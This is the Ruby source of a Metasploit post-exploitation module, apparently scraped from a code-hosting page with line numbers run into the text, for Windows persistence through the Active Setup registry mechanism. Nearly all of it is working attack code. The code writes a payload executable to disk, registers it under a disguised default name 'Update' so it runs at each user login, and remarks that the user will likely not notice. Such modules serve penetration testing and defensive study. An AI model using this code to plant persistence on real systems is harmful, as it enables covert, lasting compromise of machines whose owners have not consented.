Path: blob/master/modules/exploits/windows/persistence/registry_active_setup.rb
57457 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Exploit::Powershell9include Msf::Post::Windows::Registry10include Msf::Post::File11include Msf::Exploit::EXE12include Msf::Exploit::Local::Persistence13prepend Msf::Exploit::Remote::AutoCheck1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'Windows Registry Active Setup Persistence',20'Description' => %q{21This module will register a payload to run via the Active Setup mechanism in Windows.22Active Setup is a Windows feature that runs once per user at login.23It triggers in a user context, losing privileges from admin to user.2425Active Setup will open a popup box with "Personalized Settings" and the text26"Setting up personalized settings for: <SETUP_NAME>". However27this won't occur until the login screen has exited (but before the desktop28is loaded), and our execution is extremely fast so likely the user will not29see it.30},31'License' => MSF_LICENSE,32'Author' => [33'h00die',34],35'Platform' => [ 'win' ],36'SessionTypes' => ['meterpreter', 'shell'],37'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],38'Targets' => [39[ 'Automatic', {} ]40],41'References' => [42['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY],43['ATT&CK', Mitre::Attack::Technique::T1547_014_ACTIVE_SETUP],44['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],45['URL', 'https://hadess.io/the-art-of-windows-persistence/']46],47'DefaultTarget' => 0,48'DisclosureDate' => '2015-12-01',49'Notes' => {50'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],51'Stability' => [CRASH_SAFE],52'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS, SCREEN_EFFECTS]53}54)55)5657register_options([58OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),59OptString.new('SETUP_NAME', [false, 'Name of the setup program.', 'Update']),60])61end6263def regkey64'HKLM\\Software\\Microsoft\\Active Setup\\Installed Components'65end6667def check68return Msf::Exploit::CheckCode::Safe('System does not have powershell') unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft').include?('PowerShell')6970vprint_good('Powershell detected on system')7172# test write to see if we have access73rand = Rex::Text.rand_guid7475vprint_status("Checking registry write access to: #{regkey}\\#{rand}")76return Msf::Exploit::CheckCode::Safe("Unable to write to registry path #{regkey}\\#{rand}") if registry_createkey("#{regkey}\\#{rand}").nil?7778registry_deletekey("#{regkey}\\#{rand}")7980Msf::Exploit::CheckCode::Vulnerable('Registry writable')81end8283def install_persistence84payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))85payload_name << '.exe' unless payload_name.downcase.end_with?('.exe')86payload_exe = generate_payload_exe87payload_pathname = writable_dir + '\\' + payload_name + '.exe'88vprint_good("Writing payload to #{payload_pathname}")89fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe)9091rand = Rex::Text.rand_guid92rand = Rex::Text.rand_guid while registry_key_exist?("#{regkey}\\#{rand}")9394print_status("Using installer guid: #{rand}")95registry_createkey("#{regkey}\\#{rand}")96registry_setvaldata("#{regkey}\\#{rand}", 'StubPath', "cmd /c start \"\" \"#{payload_pathname}\"", 'REG_SZ')97registry_setvaldata("#{regkey}\\#{rand}", '', datastore['SETUP_NAME'], 'REG_SZ')9899@clean_up_rc = %(execute -f cmd.exe -a "/c reg delete \\\"#{regkey}\\#{rand}\\\" /f" -H\n)100@clean_up_rc << %(execute -f cmd.exe -a "/c reg delete \\\"#{regkey.sub('HKLM', 'HKCU')}\\#{rand}\\\" /f" -H\n)101@clean_up_rc << "rm #{payload_pathname.gsub('\\', '/')}\n"102end103end104105106